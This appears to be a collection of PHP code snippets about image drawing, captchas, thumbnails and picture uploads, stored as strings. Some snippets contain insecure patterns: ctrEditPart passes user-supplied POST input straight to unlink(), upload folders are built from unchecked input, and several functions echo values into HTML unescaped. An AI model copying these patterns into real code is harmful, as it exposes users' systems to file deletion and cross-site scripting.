"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"static public function ctrCreatePart(){\n\n\t\tif(isset($_POST[\"newDescription\"])){\n\t\t\t\n\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"newDescription\"]) &&\n\t\t\t preg_match('/^[0-9]+$/', $_POST[\"newStock\"]) &&\t\n\t\t\t preg_match('/^[0-9.]+$/', $_POST[\"newPriceBuy\"]) &&\n\t\t\t preg_match('/^[0-9.]+$/', $_POST[\"newPriceSell\"])){\n\n\t\t\t\t/*=============================================\n\t\t\t\tVALIDATE PicParts\n\t\t\t\t=============================================*/\n\n\t\t\t\t$route = \"views/img/parts/default/anonymous.png\";\n\t\t\t\t\n\t\t\t\n\t\t\t\tif (isset($_FILES[\"newPicParts\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($width, $height) = getimagesize($_FILES[\"newPicParts\"][\"tmp_name\"]);\n\t\t\t\t\t\n\t\t\t\t\t$newWidth = 500;\n\t\t\t\t\t$newHeight = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tLet's create the folder for each part\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$folder = \"views/img/parts/\".$_POST[\"newCode\"];\n\n\t\t\t\t\tmkdir($folder, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tPHP functions depending on the PicParts\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"newPicParts\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t$randomNumber = mt_rand(100,999);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$route = \"views/img/parts/\".$_POST[\"newCode\"].\"/\".$randomNumber.\".jpg\";\n\t\t\t\t\t\t\n\t\t\t\t\t\t$srcPicParts = imagecreatefromjpeg($_FILES[\"newPicParts\"][\"tmp_name\"]);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$destination = imagecreatetruecolor($newWidth, $newHeight);\n\n\t\t\t\t\t\timagecopyresized($destination, $srcPicParts, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);\n\n\t\t\t\t\t\timagejpeg($destination, $route);\n\n\t\t\t\t\t}\n\n\t\t\t\t\t\tif ($_FILES[\"newPicParts\"][\"type\"] == \"image/png\") {\n\n\t\t\t\t\t\t\t$randomNumber = mt_rand(100,999);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$route = \"views/img/parts/\".$_POST[\"newCode\"].\"/\".$randomNumber.\".png\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$srcPicParts = imagecreatefrompng($_FILES[\"newPicParts\"][\"tmp_name\"]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$destination = imagecreatetruecolor($newWidth, $newHeight);\n\t\n\t\t\t\t\t\t\timagecopyresized($destination, $srcPicParts, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);\n\t\n\t\t\t\t\t\t\timagepng($destination, $route);\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$table = \"parts\";\n\n\t\t\t\t$data = array(\"idCategory\" => $_POST[\"newCategory\"],\n\t\t\t\t\t\"code\" => $_POST[\"newCode\"],\n\t\t\t\t\t\"description\" => $_POST[\"newDescription\"],\n\t\t\t\t\t\"stock\" => $_POST[\"newStock\"],\n\t\t\t\t\t\"buyingPrice\" => $_POST[\"newPriceBuy\"],\n\t\t\t\t\t\"sellingPrice\" => $_POST[\"newPriceSell\"],\n\t\t\t\t\t\"image\" => $route);\n\n\t\t\t\t\t$answer = PartsModel::mdlAddPart($table, $data);\n\n\t\t\t\t\tif($answer == \"ok\"){\n\n\t\t\t\t\t\techo'<script>\n\t\n\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t type: \"success\",\n\t\t\t\t\t\t\t\t title: \"New Part Added\",\n\t\t\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t\t\t confirmButtonText: \"Close\"\n\t\t\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\t\t\t\tif (result.value) {\n\t\n\t\t\t\t\t\t\t\t\t\t\twindow.location = \"parts\";\n\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t</script>';\n\t\t\t\t\t}\n\t\t} else {\n\n\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t title: \"Need to enter part name or no special characters\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Close\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\twindow.location = \"parts\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\t\t\t\t </script>';\n\t\t\t\t}\n\t\t\t}\n\t\t}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function test0() {\r\n// \techo (4418388-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595); echo \"<br>\";\r\n// \techo (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595) + 300344;\r\n\r\n// create a blank image\r\n$image = imagecreate(5000, 5300);\r\n\r\n// fill the background color\r\n$bg = imagecolorallocate($image, 255, 255, 255);\r\n\r\n// choose a color for the polygon\r\n$col_poly = imagecolorallocate($image, 0, 0, 0);\r\n\r\n// draw the polygon\r\nimagepolygon($image,\r\n array (\r\n 50, 1491,\r\n 2729, 5276,\r\n 4113, 3335,\r\n 4310, 89\r\n ),\r\n 4,\r\n $col_poly);\r\n\r\nimagepolygon($image,\r\n array (\r\n 2958, 3854,\r\n 2960, 3854,\r\n 2960, 3856,\r\n 2958, 3856\r\n ),\r\n 4,\r\n $col_poly);\r\n//$text_color = imagecolorallocate($image, 233, 14, 91);\r\n//imagestring($image, 1, 1380, 439, \"1380, 439\", $text_color);\r\n//imagestring($image, 1, 426, 918, \"426, 918\", $text_color);\r\n//imagestring($image, 1, 1028, 2258, \"1028, 2258\", $text_color);\r\n//imagestring($image, 1, 4028, 1570, \"4028, 1570\", $text_color);\r\n//imagestring($image, 1, 796, 1414, \"796, 1414\", $text_color);\r\nheader(\"Content-type: image/png\");\r\nimagepng($image);\r\n\r\n\r\n }",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"public function getAbsolutePicture();",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"function drawBorder(&$img, &$color, $thickness = 1) \n{\n $x1 = 0; \n $y1 = 0; \n $x2 = ImageSX($img) - 1; \n $y2 = ImageSY($img) - 1; \n\n for($i = 0; $i < $thickness; $i++) \n { \n ImageRectangle($img, $x1++, $y1++, $x2--, $y2--, $color); \n } \n}",
"protected static function finalizePart($part)\n {\n $part = self::cleanCode($part);\n $file = new DOMDocument();\n libxml_use_internal_errors(true);\n $file->loadHTML($part);\n\n $images = $file->getElementsByTagName('img');\n foreach ($images as $image) {\n $imageStart = self::cleanCode($file->saveHTML($image));\n if (strpos($imageStart, 'wizardawn.and-mag.com') === false) {\n $imageNew = self::cleanCode(preg_replace('/.\\/[\\s\\S]+?\\//', 'http://wizardawn.and-mag.com/maps/', $imageStart));\n $part = str_replace($imageStart, $imageNew, $part);\n }\n }\n $part = preg_replace(\"/<font.*?>(.*?)<\\/font>/\", \"<span>$1</span>\", $part);\n return self::cleanCode($part);\n }",
"public function generatePictureLine()\n {\n $values = $this->data;\n\n // Get the total number of columns we are going to plot\n $columns = count($values);\n\n // Get the height and width of the diagram itself\n $width = round($this->w*0.75);\n $height = round($this->h*0.75);\n\n //$padding = 0;\n //$padding_l = 5;\n $padding_h = round(($this->w - $width) / 2);\n $padding_v = round(($this->h - $height) / 2); \n\n // Get the width of 1 column\n $column_width = round ($width / $columns) ;\n \n \n // Fill in the background of the image\n imagefilledrectangle($this->im,0,0,$this->w,$this->h,$this->white);\n\n $maxv = 0;\n\n // Calculate the maximum value we are going to plot\n\n foreach($values as $key => $value) \n {\n $maxv = max($value,$maxv); \n }\n \n $this->drawAxesLabels($width, $height, $column_width, $padding_h,$padding_v, $maxv);\n \n //diagram itself\n $i=0;\n //for ($i = 0;$i<count($values);)\n foreach ($values as $key => $value)\n {\n //if ($i==count($values))\n // break;\n $column_height1 = ($height / 100) * (( $value / $maxv) *100);\n $x1 = $i*$column_width + $padding_h + $column_width/2;\n $y1 = $height-$column_height1 + $padding_v;\n $i++;\n if ($i<2)\n {\n $column_height2 = ($height / 100) * (( $value / $maxv) *100);\n $x2 = (($i)*$column_width) + $padding_h + $column_width/2;\n $y2 = $height-$column_height2 + $padding_v;\n }\n if ($i>1)\n imageline($this->im,$x1,$y1,$x2,$y2,$this->color_helper->img_colorallocate($this->im, $this->color_helper->nextColor()));\n $x2 = $x1; \n\t\t$y2 = $y1;\n }\n \n return $this->im;\n }",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"function display_child_picture($child_id, $client, $dbname, $uid, $password, $image_sel = 'headshot', $width = 80, $height = 80, $custom_style = '') {\r\n \r\n try {\r\n\r\n if (!file_exists('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg')) {\r\n\r\n $childpictures_filter = array(\r\n new xmlrpcval(\r\n array(new xmlrpcval('child_id', \"string\"),\r\n new xmlrpcval('=', \"string\"),\r\n new xmlrpcval($child_id, \"int\")\r\n ), \"array\"\r\n ),\r\n );\r\n\r\n $msg = new xmlrpcmsg('execute');\r\n $msg->addParam(new xmlrpcval($dbname, \"string\"));\r\n $msg->addParam(new xmlrpcval($uid, \"int\"));\r\n $msg->addParam(new xmlrpcval($password, \"string\"));\r\n $msg->addParam(new xmlrpcval(\"compassion.child.pictures\", \"string\"));\r\n $msg->addParam(new xmlrpcval(\"search\", \"string\"));\r\n $msg->addParam(new xmlrpcval($childpictures_filter, \"array\"));\r\n $response = $client->send($msg);\r\n //print_r($response5);\r\n\r\n $result = $response->value();\r\n $ids5 = $result->scalarval();\r\n $idpictures_list = array();\r\n\r\n for ($i5 = 0; $i5 < count($ids5); $i5++) {\r\n $idpictures_list[] = new xmlrpcval($ids5[$i5]->me['int'], 'int');\r\n }\r\n\r\n $field_list_child = array(\r\n new xmlrpcval($image_sel, \"string\"),\r\n new xmlrpcval('id', \"int\"),\r\n new xmlrpcval('date', \"string\"),\r\n );\r\n\r\n $msg4 = new xmlrpcmsg('execute');\r\n $msg4->addParam(new xmlrpcval($dbname, \"string\"));\r\n $msg4->addParam(new xmlrpcval($uid, \"int\"));\r\n $msg4->addParam(new xmlrpcval($password, \"string\"));\r\n $msg4->addParam(new xmlrpcval(\"compassion.child.pictures\", \"string\"));\r\n $msg4->addParam(new xmlrpcval(\"read\", \"string\"));\r\n $msg4->addParam(new xmlrpcval($idpictures_list, \"array\"));\r\n $msg4->addParam(new xmlrpcval($field_list_child, \"array\"));\r\n\r\n $resp4 = $client->send($msg4);\r\n //print_r($resp4);\r\n if ($resp4->faultCode()) {\r\n echo $resp4->faultString();\r\n }\r\n //print_r($resp4);\r\n\r\n $result4 = $resp4->value()->scalarval();\r\n //print_r($result4);\r\n for ($i4 = 0; $i4 < count($result4); $i4++) {\r\n\r\n $child_portrait = $result4[$i4]->me['struct'][$image_sel]->me['string'];\r\n\r\n // load an image\r\n @$i = new Imagick();\r\n if ($i->readimageblob(base64_decode($child_portrait))) {\r\n // get the current image dimensions\r\n $geo = $i->getImageGeometry();\r\n\r\n // crop the image\r\n if (($geo['width'] / $width) < ($geo['height'] / $height)) {\r\n $i->cropImage($geo['width'], floor($height * $geo['width'] / $width), 0, (($geo['height'] - ($height * $geo['width'] / $width)) / 1.2));\r\n } else {\r\n $i->cropImage(ceil($width * $geo['height'] / $height), $geo['height'], (($geo['width'] - ($width * $geo['height'] / $height)) / 2), 0);\r\n }\r\n // thumbnail the image\r\n $i->ThumbnailImage($width, $height, true);\r\n\r\n $i->writeimage('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg');\r\n }\r\n }\r\n }\r\n\r\n if (file_exists('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg')) {\r\n echo '<div class=\"crop-square\" style=\"width:' . $width . 'px; height:' . $height . 'px; ' . @$custom_style . '\">';\r\n echo '<img class=\"img-responsive\" src=\"' . 'tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg' . '\"/>';\r\n echo '</div>';\r\n }\r\n } catch (Exception $ex) {\r\n\r\n// print_r($ex);\r\n }\r\n}",
"public function getPictureTypeText($pict)\n {\n $type=\"\";$typeid=\"\";$typeText=\"\";\n if (isset($pict[\"personID\"])) {\n $type = \"person\";\n $typeid = $pict[$type . \"ID\"];\n $picturePerson = $this->getPersonByID($typeid);\n $typeText = '<a href=\"editPerson?tabOpen=pictures&uid=' . $typeid .'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Személyes kép:'. getPersonName($picturePerson).'</a>';\n }\n elseif (isset($pict[\"classID\"])) {\n $type = \"class\";\n $typeid = $pict[$type . \"ID\"];\n $class = $this->getClassById($typeid);\n $typeText = '<a href=\"picture?type=classID&typeid='.$typeid.'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Osztálykép:' . $class[\"text\"].'</a>';\n } elseif (isset($pict[\"schoolID\"])) {\n $type = \"school\";\n $typeid = $pict[$type . \"ID\"];\n $school = $this->getSchoolById($typeid);\n $typeText = '<a href=\"picture?type=schoolID&typeid='.$typeid.'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Iskolakép:' . html_entity_decode($school[\"name\"]).'</a>';\n }\n return array(\"type\"=>$type,\"typeId\"=>$typeid,\"text\"=>$typeText);\n }",
"protected function _drawText()\n {\n $x = $this->_width*0.05;\n $y = $this->_height*0.96;\n\n $text_color=ImageColorAllocate($this->_image, 0x00, 0x00, 0x00);\n\n $fontsize = $this->scale*7;\n $kerning = $fontsize*1;\n\n for($i=0;$i<strlen($this->number);$i++)\n {\n imagettftext($this->_image, $fontsize, 0, $x, $y, $text_color, $this->font, $this->number[$i]);\n if($i==0 || $i==6)\n $x += $kerning*0.5;\n $x += $kerning;\n }\n }",
"function draw_boxes2 ($image, $colorid=0, $offset=0) {\r\n \r\n $color[0]= imagecolorallocate($image, 0, 0, 0);\r\n $color[1]= imagecolorallocate($image, 255, 0, 0);\r\n $color[2]= imagecolorallocate($image, 0, 255, 0);\r\n $color[3]= imagecolorallocate($image, 0, 0, 255);\r\n $color[4]= imagecolorallocate($image, 255, 255, 0);\r\n \r\n $linecolor=$color[$colorid];\r\n \r\n foreach($this->text_blocks as $text_block) {\r\n imageline ( $image , $text_block->ordered['x1'] -$offset, $text_block->ordered['y1'] -$offset, $text_block->ordered['x2'] +$offset, $text_block->ordered['y2'] -$offset, $linecolor);\r\n imageline ( $image , $text_block->ordered['x2'] +$offset, $text_block->ordered['y2'] -$offset, $text_block->ordered['x3'] +$offset, $text_block->ordered['y3']+$offset , $linecolor);\r\n imageline ( $image , $text_block->ordered['x3'] +$offset, $text_block->ordered['y3'] +$offset, $text_block->ordered['x4'] -$offset, $text_block->ordered['y4']+$offset , $linecolor);\r\n imageline ( $image , $text_block->ordered['x4'] -$offset, $text_block->ordered['y4'] +$offset, $text_block->ordered['x1'] -$offset, $text_block->ordered['y1']-$offset , $linecolor);\r\n }\r\n $this->image_drawn=$image;\r\n }",
"function printFull($name, $difficulty, $topic1, $topic2)\n{\n echo '\n <a href=\"' . preg_replace('/[^a-z\\d]/i', '', $name) . '/\" class=\"bgouter\">\n <!--There are special square icons for committees that are stored at /media/icons/committees/-->\n <div style=\"background-image: url(/media/icons/committees/' . strtolower($name) . '.jpg);background-size: cover\">\n <div class=\"w outer\">\n <div class=\"hoverborder\" style=\"width:260px; padding: 10px;height:260px;\">\n <h1 style=\"font-size: ';\n //I had to make the font size smaller for constitution because it overflowed\n if ($name != \"constitution\") echo '46'; else echo '28';\n echo 'px\">' . $name . '</h1>\n <h6>' . printCommittee($difficulty) . '</h6>\n <div class=\"topic\">\n <p>' . $topic1 . '</p>\n <p>' . $topic2 . '</p>\n </div>\n </div>\n </div>\n </div>\n <img src=\"/media/icons/committees/white/' . strtolower($name) . '.png\" class=\"bgouterpic\">\n </a>\n ';\n}",
"function printAsideProfilo($img_profilo) {\r\n \r\n $img_profilo = '../' . $img_profilo;\r\n \r\n echo '<div class=\"profilo-img-container\">' .\r\n '<img onclick=\"showModal(' . \"'modifica-immagine-profilo','post-container'\" . ')\"' .\r\n 'class=\"img-profilo-dim pointer\" src=\"' . $img_profilo .'\"' .\r\n 'alt=\"Immagine del profilo\"/>' . \r\n '<div class=\"aside-testo\">' . $_SESSION['nickname'] . '</div>' .\r\n '</div>';\r\n}",
"function display_image($entity)\n{\n\tglobal $config;\n\t\n\techo '\n\t\t\t<div class=\"heading-block clearfix\">\n\t\t\t\t<div class=\"heading-thumbnail\">';\n\t\t\t\t\n\t\n\tif (isset($entity->thumbnailUrl))\n\t{\n\t\techo '<img src=\"' . $config['thumbnail_cdn'] . get_thumbnail_url($entity->thumbnailUrl) . '\" />';\t\t\n\t}\t\n\telse\n\t{\n\t\techo '<img src=\"images/no-icon.svg\" />';\n\t}\n\t\t\n\techo '\n\t\t\t\t</div>\n\t\t\t\t<div class=\"heading-body\">\n\t\t\t\t\t<div class=\"heading-title\">';\n\t\t\t\t\t\n\techo get_literal_display($entity->name);\n\techo '\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"heading-description\">';\n\t\t\t\t\t\n\tif (isset($entity->description))\n\t{\n\t\techo '<div class=\"caption\">' . get_literal_display($entity->description) . '</div>';\n\t}\t\t\t\n\t\n\techo '<div id=\"identifiers\">';\n\techo '<ul class=\"identifier-list\">';\n\techo '<li><a class=\"external\" href=\"' . $entity->{'@id'} . '\" target=\"_new\">' . $entity->{'@id'} . '</a></li>';\n\techo '</ul>';\n\techo '</div>';\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\techo '\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>';\n\t\t\t\n\t// Display image\n\techo '<div>';\t\n\techo '<img class=\"image\" src=\"' .$entity->contentUrl->{'@id'} . '\" />';\t\n\techo '</div>';\n\n\n\n\techo '\n\t\t<script>figure_is_part_of(\"' . $entity->{'@id'} . '\", \"cited_by\");</script> \n\t';\n}",
"function drawThickLine($img, $startX, $startY, $endX, $endY, $colour, $thickness) \n{\n\t$angle = (atan2(($startY - $endY), ($endX - $startX))); \n\n\t$dist_x = $thickness * (sin($angle));\n\t$dist_y = $thickness * (cos($angle));\n\t\n\t$p1x = ceil(($startX + $dist_x));\n\t$p1y = ceil(($startY + $dist_y));\n\t$p2x = ceil(($endX + $dist_x));\n\t$p2y = ceil(($endY + $dist_y));\n\t$p3x = ceil(($endX - $dist_x));\n\t$p3y = ceil(($endY - $dist_y));\n\t$p4x = ceil(($startX - $dist_x));\n\t$p4y = ceil(($startY - $dist_y));\n\t\n\t$array = array(0=>$p1x, $p1y, $p2x, $p2y, $p3x, $p3y, $p4x, $p4y);\n\timagefilledpolygon($img, $array, (count($array)/2), $colour);\n}",
"function image_hwstring($width, $height)\n {\n }",
"function stretchDraw($x1, $y1, $x2, $y2, $image)\r\n {\r\n echo \"$this->_canvas.drawImage(\\\"$image\\\", $x1, $y1, $x2-$x1+1, $y2-$y1+1);\\n\";\r\n }",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"private function _composite()\n\t{\n\t\t//composite the spartan profile image\n\t\t$this->bg->compositeImage( $this->profile, imagick::COMPOSITE_OVER, -10, -40 );\n\n\t\t//composite the emblem next to the spartans name\n\t\t$this->bg->compositeImage( $this->emblem, imagick::COMPOSITE_OVER, (250 - ($this->metrics['spartan']['textWidth'] / 2)) - 40, 10 );\n\n\t\tif ($this->metrics['weaponChoice']['textWidth'] <= $this->metrics['favoriteWeapon']['textWidth']) {\n\t\t\t//put the weapon image next to the weapon text\n\t\t\t$this->bg->compositeImage( $this->weapon, imagick::COMPOSITE_OVER, ( 500 - $this->metrics['favoriteWeapon']['textWidth'] - $this->weaponScale['w'] - 30 ), 60 );\n\t\t} else { \n\t\t\t//put the image to the left of the weapon choice text, if the favorite weapon text is less than the weapon choice text\n\t\t\t$this->bg->compositeImage( $this->weapon, imagick::COMPOSITE_OVER, ( 500 - $this->metrics['weaponChoice']['textWidth'] - $this->weaponScale['w'] - 30 ), 60 );\n\t\t}\n\t}",
"function saveImageWithText($text, $color, $source_file,$x,$y) {\n $public_file_path = '.';\n\n // dublicate the realimage\n list($width, $height) = getimagesize($source_file);\n $image_p = imagecreatetruecolor($width, $height);\n $image = imagecreatefromjpeg($source_file);\n imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width, $height);\n\n // text size and colors\n $text_color = imagecolorallocate($image_p, 0, 0, 0);\n $bg_color = imagecolorallocate($image_p, 255, 255, 255);\n $font = $public_file_path . '/arial.ttf';\n $font_size = 12;\n\n // Set the text position\n $offset_x = $x;\n $offset_y = $y;\n $dims = imagettfbbox($font_size, 0, $font, $text);\n $text_width = $dims[4] - $dims[6] + $offset_x;\n $text_height = $dims[3] - $dims[5] + $offset_y;\n\n\n // Add text\n imagettftext($image_p, $font_size, 0, $offset_x, $offset_y, $text_color, $font, $text);\n\n // Save\n imagejpeg($image_p, $public_file_path . '/output.jpg', 100);\n\n // Clear\n imagedestroy($image);\n imagedestroy($image_p);\n}",
"static public function ctrEditPart(){\n\n\t\tif(isset($_POST[\"editDescription\"])){\n\n\t\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"editDescription\"]) &&\n\t\t\t\tpreg_match('/^[0-9]+$/', $_POST[\"editStock\"]) &&\t\n\t\t\t\tpreg_match('/^[0-9.]+$/', $_POST[\"editPriceBuy\"]) &&\n\t\t\t\tpreg_match('/^[0-9.]+$/', $_POST[\"editPriceSell\"])){\n\n\t\t \t\t/*=============================================\n\t\t\t\tVALIDATE Image\n\t\t\t\t=============================================*/\n\n\t\t\t \t$route = $_POST[\"actualPicParts\"];\n\n\t\t\t \tif(isset($_FILES[\"editPicParts\"][\"tmp_name\"]) && !empty($_FILES[\"editPicParts\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($width, $height) = getimagesize($_FILES[\"editPicParts\"][\"tmp_name\"]);\n\n\t\t\t\t\t$newWidth = 500;\n\t\t\t\t\t$newHeight = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tWE CREATE THE FOLDER WHERE WE WILL SAVE THE Part Image\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$folder = \"views/img/parts/\".$_POST[\"editCode\"];\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tWE ASK IF WE HAVE ANOTHER PICTURE IN THE DB\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif(!empty($_POST[\"actualPicParts\"]) && $_POST[\"actualPicParts\"] != \"views/img/parts/default/anonymous.png\"){\n\n\t\t\t\t\t\tunlink($_POST[\"actualPicParts\"]);\n\n\t\t\t\t\t}else{\n\n\t\t\t\t\t\tmkdir($folder, 0755);\t\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tWE APPLY DEFAULT PHP FUNCTIONS ACCORDING TO THE PicParts FORMAT\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"editPicParts\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tWE SAVE THE PicParts IN THE FOLDER\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$random = mt_rand(100,999);\n\n\t\t\t\t\t\t$route = \"views/img/parts/\".$_POST[\"editCode\"].\"/\".$random.\".jpg\";\n\n\t\t\t\t\t\t$origin = imagecreatefromjpeg($_FILES[\"editPicParts\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t\t\t\t$destiny = imagecreatetruecolor($newWidth, $newHeight);\n\n\t\t\t\t\t\timagecopyresized($destiny, $origin,\t 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);\n\n\t\t\t\t\t\timagejpeg($destiny, $route);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"editPicParts\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tWE SAVE THE PicParts IN THE FOLDER\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$random = mt_rand(100,999);\n\n\t\t\t\t\t\t$route = 